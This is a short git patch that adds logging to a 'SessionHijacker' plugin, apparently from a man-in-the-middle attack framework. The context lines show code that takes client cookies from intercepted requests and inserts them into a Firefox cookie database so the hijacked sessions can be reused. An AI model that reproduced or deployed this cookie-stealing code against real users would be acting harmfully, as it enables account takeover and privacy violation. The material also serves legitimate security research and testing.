From c44d53ca488e91137a86687baf154ae494e1ab80 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 29 Nov 2014 16:11:37 +0100 Subject: [PATCH] added some logging statements --- plugins/SessionHijacker.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index 8f057af..90ce103 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -50,8 +50,6 @@ class SessionHijacker(Plugin): client_ip = request.getClientIP() if 'cookie' in headers: - message = "%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']) - if self.firefox: url = "http://" + headers['host'] + request.getPathFromUri() for cookie in headers['cookie'].split(';'): @@ -63,7 +61,7 @@ class SessionHijacker(Plugin): #t.start() self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) else: - logging.info(message) + logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) #def handleHeader(self, request, key, value): # Server => Client @@ -120,6 +118,7 @@ class SessionHijacker(Plugin): expire_date = 2000000000 #Year2033 now = int(time.time()) - 600 self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) + logging.info("%s << Inserted cookie into firefox db" % ip) def add_options(self, options): options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')